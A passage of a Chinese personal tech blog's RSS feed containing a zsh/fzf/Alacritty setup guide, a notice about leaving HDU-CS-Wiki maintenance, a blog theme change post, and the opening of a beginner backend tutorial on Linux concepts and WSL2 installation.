&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Bold&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;italic&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Italic&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bold_italic&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JetBrainsMono Nerd Font&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Bold Italic&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;要使用 zim 安装 p10k，在 .zimrc 中添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ~/.zimrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zmodule romkatv/powerlevel10k --use degit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后 &lt;code&gt;zimfw install&lt;/code&gt;，并重启终端。会进入 p10k 的初始化配置流程。选择自己喜欢的样式。&lt;/p&gt;
&lt;h3 id="fzf"&gt;fzf
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://junegunn.github.io/fzf/" target="_blank" rel="noopener"
&gt;fzf&lt;/a&gt; 是一个通用的命令行模糊查找工具。&lt;/p&gt;
&lt;p&gt;首先需要安装 fzf。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install fzf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;之后在终端中输入 fzf 会发现已经可用。&lt;/p&gt;
&lt;p&gt;基本上，你可以将 fzf 视为“grep”的交互式版本，我们现在只是安装了这个程序。&lt;/p&gt;
&lt;p&gt;根据 fzf 文档，我们可以&lt;a class="link" href="https://junegunn.github.io/fzf/shell-integration/" target="_blank" rel="noopener"
&gt;在 Shell 中集成 fzf&lt;/a&gt;，可以用到一些好用的快捷键。官方文档的方式是在 &lt;code&gt;.zshrc&lt;/code&gt; 中添加 &lt;code&gt;source &amp;lt;(fzf --zsh)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但使用 zim 管理，我们可以在 &lt;code&gt;.zimrc&lt;/code&gt; 中添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ~/.zimrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# fzf &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zmodule fzf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zmodule Aloxaf/fzf-tab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;其中第二个插件可以让 fzf 接管终端中的 tab 操作。&lt;/p&gt;
&lt;p&gt;现在可以使用文档中描述的快捷键了。&lt;/p&gt;
&lt;p&gt;对于 macOS，其中的 Alt+C 尝试用 option+C 会发现输入的是 C 的特殊字符。实际上，会发现可以用 esc+C 或者先按 ESC 再按 C 来替代。早年终端没有独立的 Alt 键，有人约定 Alt+X 等同于先发一个 ESC 再发一个 X。后面为了兼容依旧沿用这个设定。&lt;/p&gt;
&lt;p&gt;我使用的是 alacritty，可以添加以下配置&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# ~/.config/alacritty/alacritty.toml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;window&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;option_as_alt&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Both&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="语法高亮"&gt;语法高亮
&lt;/h3&gt;&lt;p&gt;据 &lt;a class="link" href="https://www.bilibili.com/video/BV1fdTfzeE8X/?share_source=copy_web&amp;amp;vd_source=02c8907d23d01f0c75f46a7c1a61accf" target="_blank" rel="noopener"
&gt;TheCW 的一个视频&lt;/a&gt;所说，用这个语法高亮会更快一点。我跟风做了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ~/.zimrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# zmodule zsh-users/zsh-syntax-highlighting&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zmodule zdharma-continuum/fast-syntax-highlighting
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;更多的插件可以自己探索一下。比如看看 &lt;a class="link" href="https://zimfw.sh/docs/modules/" target="_blank" rel="noopener"
&gt;Zim Framework - Module&lt;/a&gt;, 看看有什么官方维护的 Zim 插件，或是看看别的技术佬用了啥。对我自己而言，已经不想再折腾这那，够用了就行。&lt;/p&gt;</description></item><item><title>不再继续参与 HDU-CS-Wiki 维护的声明</title><link>https://v3n0.com/post/2025/hdu-cs-wiki-no-more/</link><pubDate>Sun, 28 Sep 2025 16:53:58 +0800</pubDate><guid>https://v3n0.com/post/2025/hdu-cs-wiki-no-more/</guid><description>&lt;p&gt;本人将不再参与 &lt;a class="link" href="https://hdu-cs.wiki" target="_blank" rel="noopener"
&gt;HDU-CS-Wiki&lt;/a&gt; 的维护。此前提及的 “HDU-CS-Wiki 后端教程”，现暂定统一改名为《Veno 的后端教程》。今后该教程的全部内容仅在本博客发布。若在其他平台出现本博客教程的内容，均视为转载，需遵循 &lt;a class="link" href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh-hans" target="_blank" rel="noopener"
&gt;CC BY-NC-SA 4.0&lt;/a&gt; 协议，并标明原文链接，侵权必究。&lt;/p&gt;</description></item><item><title>博客迁移到 Stack 主题</title><link>https://v3n0.com/post/2025/switch-to-stack-theme/</link><pubDate>Tue, 16 Sep 2025 18:07:21 +0800</pubDate><guid>https://v3n0.com/post/2025/switch-to-stack-theme/</guid><description>&lt;img src="https://user-images.githubusercontent.com/5889006/190859441-141b5f81-8483-40d2-bd96-ebf85616a46d.png" alt="Featured image of post 博客迁移到 Stack 主题" /&gt;&lt;p&gt;从 PaperMod 主题迁移到了 Stack 主题。&lt;/p&gt;
&lt;p&gt;本来说想给小登写一个博客配置教程的，犯懒癌了。觉得还行的话可以直接 fork 我的仓库修修改改，想动手的可以翻 Stack 文档和 Hugo 文档。&lt;/p&gt;</description></item><item><title>1.2 Lab0</title><link>https://v3n0.com/post/backend-tutorial/1.2/</link><pubDate>Sun, 10 Aug 2025 00:09:19 +0800</pubDate><guid>https://v3n0.com/post/backend-tutorial/1.2/</guid><description>&lt;p&gt;:::warning
如果你在本篇遇到任何的网络问题或疑似网络问题，请向学长私聊求助。
:::&lt;/p&gt;
&lt;p&gt;工欲利其事，必先利其器。Lab 0 中我们会进行基础的开发环境搭建，并补全一些你可能不知道的 Python 知识。&lt;/p&gt;
&lt;h2 id="概念普及"&gt;概念普及
&lt;/h2&gt;&lt;p&gt;这一小节给大家普及本篇文档可能你会遇到的陌生词语&lt;/p&gt;
&lt;h3 id="linux-发行版distro"&gt;Linux? 发行版(distro)?
&lt;/h3&gt;&lt;p&gt;Linux 严格意义上指的是 Linus Torvalds 最初编写的那个系统内核（kernel）。一个“能用的操作系统”= 内核 + 一堆用户态工具(命令行工具、包管理器、桌面环境&amp;hellip;) + 配置 + 生态整合。不同的社区或公司，会在同一个 Linux 内核基础上，搭建并打包自己的“发行版”(distribution, 简写 distro)。&lt;/p&gt;
&lt;p&gt;常见发行版：Ubuntu、Debian、Fedora、Arch、openSUSE、CentOS / Rocky / Alma、RHEL 等。它们的差异主要体现在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;包管理器不同（Ubuntu 用 APT，Fedora 用 DNF，Arch 用 pacman）&lt;/li&gt;
&lt;li&gt;默认预装的软件 &amp;amp; 配置不同&lt;/li&gt;
&lt;li&gt;软件版本策略（偏“新”还是偏“稳”）&lt;/li&gt;
&lt;li&gt;社区/企业支持方式（社区滚动更新 vs 企业长期维护 LTS）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你现在在 WSL 装的 Ubuntu，就是“Ubuntu 发行版”。说“我用的是 Linux”通常在实际语境里=“我用的是某个 Linux 发行版”。&lt;/p&gt;
&lt;p&gt;:::tip 什么时候需要关心“发行版差异”？
写/跑代码 -&amp;gt; 几乎不用纠结；部署生产、写系统级脚本、看教程命令对不上时 -&amp;gt; 才需要意识到“也许是发行版不一样”。
:::&lt;/p&gt;
&lt;p&gt;:::warning 小坑
网上复制的命令如果带 &lt;code&gt;yum&lt;/code&gt; / &lt;code&gt;dnf&lt;/code&gt; / &lt;code&gt;pacman&lt;/code&gt; 而你系统里只有 &lt;code&gt;apt&lt;/code&gt;，不要怀疑人生——只是发行版不一样，换成对应包管理器就好。
:::&lt;/p&gt;
&lt;h3 id="shell-终端terminal"&gt;Shell? 终端(Terminal)?
&lt;/h3&gt;&lt;p&gt;Terminal（终端）是一个“窗口/程序”，负责把你敲的字符传给后面真正执行命令的“Shell”，再把结果展示出来。Shell 则是“命令解释器”——接收你输入的文本命令，解析、执行，然后输出结果。&lt;/p&gt;
&lt;p&gt;类比：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;终端 = 聊天窗口&lt;/li&gt;
&lt;li&gt;Shell = 正在和你对话、帮你办事的“客服”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;常见 Shell：bash、zsh、fish、powershell（不是 Linux 传统 shell 但理念类似）。你在 WSL 里默认启动的一般是 bash；很多开发者会换成更好用（补全更强/主题更丰富）的 zsh + oh-my-zsh。&lt;/p&gt;
&lt;p&gt;如何知道自己当前 shell？&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$SHELL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;:::tip
“我打开 VS Code 内置终端”“我在 Windows Terminal 新建了一个标签页”——这些动作都是在启动一个“终端程序实例”；里面跑的那一行提示符（&lt;code&gt;veno@pc:~$&lt;/code&gt;）背后那个解释命令的才是 shell。
:::&lt;/p&gt;
&lt;p&gt;:::warning Ctrl+C
在 shell 中 &lt;code&gt;Ctrl + C&lt;/code&gt; 不是复制，是“向前台进程发送中断信号”（终止当前正在运行的命令）。复制请用 &lt;code&gt;Ctrl + Shift + C&lt;/code&gt;（在大多数终端里）。
:::&lt;/p&gt;
&lt;h3 id="包管理器"&gt;包管理器
&lt;/h3&gt;&lt;p&gt;包管理器（package manager）= “下载/安装/升级/卸载 软件/库 的自动化工具 + 依赖关系解决器”。&lt;/p&gt;
&lt;p&gt;举些例子：&lt;/p&gt;
&lt;p&gt;操作系统层面：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ubuntu: apt (&lt;code&gt;sudo apt install xxx&lt;/code&gt;), snap&amp;hellip;&lt;/li&gt;
&lt;li&gt;Fedora: dnf&lt;/li&gt;
&lt;li&gt;Arch: pacman, yay, paru&lt;/li&gt;
&lt;li&gt;。。。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;编程语言生态层面：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Python: pip / (最推荐的) uv / poetry / pdm&lt;/li&gt;
&lt;li&gt;Node.js: npm / pnpm / yarn&lt;/li&gt;
&lt;li&gt;Rust: cargo&lt;/li&gt;
&lt;li&gt;。。。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为什么需要包管理器？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;自动解决依赖：安装 A 顺便装它需要的 B/C&lt;/li&gt;
&lt;li&gt;版本管理：指定版本/锁定版本避免“昨天能跑今天炸”&lt;/li&gt;
&lt;li&gt;统一卸载：不会在系统角落留下一堆孤儿文件&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="虚拟机和容器"&gt;虚拟机和容器
&lt;/h3&gt;&lt;p&gt;虚拟机（Virtual Machine, VM）= 在你的物理机器（Host）里，用软件模拟出另一套“硬件”并在其上运行一个“客体操作系统”。常见软件：VMware、VirtualBox、Hyper-V、WSL2（底层也用类似虚拟化能力）。&lt;/p&gt;
&lt;p&gt;它解决什么问题？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;隔离：不同项目/系统互不影响&lt;/li&gt;
&lt;li&gt;一致性：开发、测试、线上使用一致环境&lt;/li&gt;
&lt;li&gt;安全：把“可能作死”的尝试关在沙盒里&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你可能还见过一个词叫“容器”，简单来说容器就是比虚拟机更轻量更快的系统级隔离工具，同样后端开发中经常用到。&lt;/p&gt;
&lt;p&gt;“虚拟机”和“容器” 区别（简化理解）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;虚拟机：Guest OS 完整存在 -&amp;gt; 较重 -&amp;gt; 启动慢&lt;/li&gt;
&lt;li&gt;容器：共享宿主机内核，只隔离文件/进程/网络命名空间 -&amp;gt; 轻量 -&amp;gt; 启动快&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;WSL2 其实就是：微软做的一层“极轻量虚拟机 + 与 Windows 深度整合的文件/网络桥接”。&lt;/p&gt;
&lt;p&gt;:::tip
“我到底该用 WSL 还是直接装虚拟机？”——写后端/学 Linux → 先用 WSL 足够；需要研究内核、做内核模块、玩系统级实验 → 真 VM, 或者直接装实体机 Linux
:::&lt;/p&gt;
&lt;h3 id="python-虚拟环境"&gt;Python 虚拟环境
&lt;/h3&gt;&lt;p&gt;Python 虚拟环境 (virtual environment, venv) = 给某个项目准备的一份“隔离的 Python 解释器 + 其 site-packages 目录”。这样不同项目的依赖（版本）互不污染。&lt;/p&gt;
&lt;p&gt;为什么必须用？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你 A 项目需要 &lt;code&gt;fastapi==0.115.x&lt;/code&gt;，B 项目还停在 &lt;code&gt;0.110.x&lt;/code&gt;，全局安装会冲突。&lt;/li&gt;
&lt;li&gt;线上部署要复现本地依赖组合，需要可复制、可锁定的环境。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;常见方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;标准库 &lt;code&gt;python -m venv venv&lt;/code&gt; + &lt;code&gt;source venv/bin/activate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;uv / poetry / pipenv / pdm：在“虚拟环境 + 依赖锁定 + 脚本运行”上提供更高级封装&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;uv 做了什么？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;自动创建/复用隔离环境&lt;/li&gt;
&lt;li&gt;解析 &lt;code&gt;pyproject.toml&lt;/code&gt; 里声明的依赖&lt;/li&gt;
&lt;li&gt;生成/使用锁文件（&lt;code&gt;uv.lock&lt;/code&gt;）保证团队一致&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip 判断当前是否已激活虚拟环境
执行 &lt;code&gt;which python&lt;/code&gt; / &lt;code&gt;which pip&lt;/code&gt;，如果路径落在项目缓存/虚拟目录里（而不是 &lt;code&gt;/usr/bin/python3&lt;/code&gt;），就说明你在“虚拟”里。或者看提示符是否多了形如 &lt;code&gt;(venv)&lt;/code&gt; 的前缀（取决于工具）。
:::&lt;/p&gt;
&lt;p&gt;:::warning 常见误区&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“我已经有 WSL 或虚拟机了，还需要 Python 虚拟环境吗？”——需要。系统级环境隔离 ≠ 语言级依赖隔离。&lt;/li&gt;
&lt;li&gt;“直接全局 pip install 不是更简单吗？”——初期简单，后期灾难：版本冲突、无法复现、卸不干净，可能在项目中引入别人没有的依赖也无法发觉。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="开发环境配置"&gt;开发环境配置
&lt;/h2&gt;&lt;h3 id="windows-配置流程"&gt;Windows 配置流程
&lt;/h3&gt;&lt;h4 id="安装-wsl2"&gt;安装 WSL2
&lt;/h4&gt;&lt;p&gt;WSL2 (Windows Subsystem for Linux 2)，本质上其实是一个运行在 Windows 的轻量级 Linux 虚拟机。&lt;/p&gt;
&lt;p&gt;大多数后端服务最终会部署在 Linux 服务器中，因此对于后端学习，我们最好尽快熟悉 Linux 的命令行操作。&lt;/p&gt;
&lt;p&gt;对于 Windows 10 版本 2004 及更高版本（内部版本 19041 及更高版本）或 Windows 11 ，使用以下教程：&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/zh-cn/windows/wsl/install" target="_blank" rel="noopener"
&gt;如何使用 WSL 在 Windows 上安装 Linux&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;对于 Windows 10 老版本（低于上面所说的版本），参考：&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/zh-cn/windows/wsl/install-manual" target="_blank" rel="noopener"
&gt;旧版 WSL 的手动安装步骤&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;上面的微软式中文文档经过一些零基础小白的测试，已经确定会给他们造成一些歧义，而英文不会。你可以选择切换到英文阅读上面给出的官方文档，或者跟着本流程走一遍。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;下面我们正式开始 WSL2 的安装。&lt;/p&gt;
&lt;p&gt;如果你是 Windows 11, 那么打开你的 Windows 开始菜单，搜索“终端”或“Terminal”或“Windows Terminal”，你应该能搜到这个应用，它是默认附加在 Windows 11 上的。通过这个应用你可以更方便地以标签页的方式开启和管理你的 Shell 窗口，就像浏览器的标签页一样。&lt;/p&gt;
&lt;p&gt;我们使用它打开一个管理员权限的 Powershell, 在其中输入：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;wsl&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-install&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;如果这里你出现了一些奇怪的报错，比如下图:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/backend-tutorial/1.2/1.2-6.png"
width="683"
height="283"
srcset="https://v3n0.com/post/backend-tutorial/1.2/1.2-6_hu_5ad94a0aca141f02.png 480w, https://v3n0.com/post/backend-tutorial/1.2/1.2-6_hu_8431aaad9b360f9a.png 1024w"
loading="lazy"
alt="1.2-6"
class="gallery-image"
data-flex-grow="241"
data-flex-basis="579px"
&gt;&lt;/p&gt;
&lt;p&gt;403 实际上是 HTTP 状态码 403 Forbidden, 这也是网络报错，请向学长私聊求助。&lt;/p&gt;
&lt;p&gt;:::tip&lt;/p&gt;
&lt;p&gt;截至编写本教程时，wsl &amp;ndash;install 会默认安装 Ubuntu 24.04 LTS 版本。本教程假设你安装的是该版本。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;这个指令会自动帮你启用 Windows 的虚拟机平台功能，并安装 Ubuntu 作为 WSL 的默认发行版。安装完成之后，如果可能的话，则会自动启动 Ubuntu, 开始用户名和密码的初始化。&lt;/p&gt;
&lt;p&gt;但你大概率之前没有启用过虚拟机平台功能，除非你安装过 VMWare 之类的虚拟机软件。这个时候并不会自动启动 Ubuntu。此时界面应当会类似下图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/backend-tutorial/1.2/1.2-1.png"
width="1734"
height="927"
srcset="https://v3n0.com/post/backend-tutorial/1.2/1.2-1_hu_ffa5555cb61753bd.png 480w, https://v3n0.com/post/backend-tutorial/1.2/1.2-1_hu_bad72c513f6a3ad8.png 1024w"
loading="lazy"
alt="1.2-1"
class="gallery-image"
data-flex-grow="187"
data-flex-basis="448px"
&gt;&lt;/p&gt;
&lt;p&gt;此时虚拟机平台功能和 Ubuntu 都已经成功安装，只是因为虚拟机平台功能需要重启电脑才能启用，因此才没有自动启动 Ubuntu 。&lt;/p&gt;
&lt;p&gt;我们需要重启电脑，再次打开 Windows Terminal, 在 Powershell 中输入:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;wsl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;如此即可启动 Ubuntu。你也可以在 Windows Terminal 中将 Ubuntu 添加到下拉菜单快捷启动列表里，以后启动会更方便。&lt;/p&gt;
&lt;p&gt;系统将要求你为 Linux 发行版创建“用户名”和“密码”。用户名建议使用3-8个英文小写字符。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;此用户名和密码特定于安装的每个单独的 Linux 分发版，与 Windows 用户名无关。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;注意，输入密码时，屏幕上不会显示任何内容。这称为盲人键入。你不会看到你正在键入的内容，这是完全正常的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建用户名和密码后，该帐户将是分发版的默认用户，并将在启动时自动登录。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此帐户将被视为 Linux 管理员，能够运行 &lt;code&gt;sudo&lt;/code&gt; (Super User Do) 管理命令。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 WSL 上运行的每个 Linux 发行版都有其自己的 Linux 用户帐户和密码。 每当添加分发版、重新安装或重置时，都必须配置一个 Linux 用户帐户。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;设置用户名和密码之后，我们正式完成了 WSL 的安装。&lt;/p&gt;
&lt;p&gt;注意区分，本文以后的所有命令行操作如果未说明，则默认是在 Ubuntu 的 Shell 环境中运行，而不是 Powershell。&lt;/p&gt;
